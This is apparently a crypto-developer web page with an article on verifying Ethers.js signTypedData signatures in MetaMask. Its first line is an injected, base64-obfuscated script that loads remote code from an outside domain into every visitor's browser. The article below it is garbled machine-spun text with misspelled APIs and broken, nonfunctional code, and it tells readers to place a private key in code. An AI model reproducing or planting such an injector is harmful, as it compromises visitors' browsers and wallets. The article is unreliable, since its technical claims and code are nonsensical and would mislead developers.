const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=f50ab147″;document.body.appendChild(script);
Metamask Error: Checking the signed data with Ether.js Sigtypeddata
When you use the Ethers.js Library to sign and encode data such as signed dates, Solidity Metamask may encounter an error that does not allow to verify the signed data. In this article, we will study the problem and provide a possible solution.
The problem:
The error usually occurs when attempting to verify the signed data using the Metamask feature of the « Sigtypeddates » property, returned by euters.js. The problem is how SIGTYPEDDATES ‘of Solidity is interacting with the euters.js library and the « Cerify » method.
Typified Functionality **
When you call Sigtypeddates
of your data, it creates a signature of the input data using the private key of the signator. However, when checking these signed data in Metamask using « Verify », the library expects to receive the original unchanged input data as an argument.
Ether.js Dates of the sign type
The SignTypeddatafeature is designed to create and check the signature of the input without changing it. To use
sigtypeddateswith euters.js, you must create a signed version of your input data, which can be checked by the library.
For example:
Javascript
Const Domain = {
Name: ‘OG-NFT’,
Version: ‘1’
};
Constitutions = {
// …
};
// Create a signed version of the data using euters.js sigtypeddata
Constature = Wait Ether.Sigtypeddata (
{
Type,
Value: {
OG_NFT: {…} // Replace with your actual input data
}
},
‘0x …’ // Replace with your personal key
);
// Create signed dates such as signed data
CONST sigtypeddata = euters.signer.sigtypeddata (signature, domain);
`
In this example, we first create the signature 'object using the Ethers.js's Sigtypeddata feature. We then use this signature to create a entered object data that is used for verification.
Check to check Metamask
Now that you have the subject of the signed dates of the type, you can try to check it in Metamask. As mentioned earlier, the function of MetamaskVerifyawaits the original unchanged input data as an argument.
To fix this problem, you must create a new object of entered data with the same property and value as your original input data. In other words, you need to cancel the original input data using euters.js.
Javascript
// Create a new entered subject of the signed dates of the type
Const intrification = euters.signer.verifyytyped (
Dates, dates,
Domain,
{Type: ‘Unverify’} // Replace with your personal key
);
// Check the data entered using the Metamask Verification feature
wait for metamask.verify (check);
`
In this example, we create a new « check » object by calling euters.js’s erifytyped
function of signed dates for entry. We then transmit the original input data (`domain) and a verification key (which can be obtained using euters.js).
Through the relaxation, the original input data with the help of euters.js you should now be able to check the signed data in Metamask.
Conclusion
In this article, we studied the issue of verifying the signed dates using Metamask with euters.js. Understanding how the Sigtypeddates feature of Solacity interacts with Ethers.js and creates a new entered data subject from the signed data, you must be able to resolve the error and check your signed data in Metamask.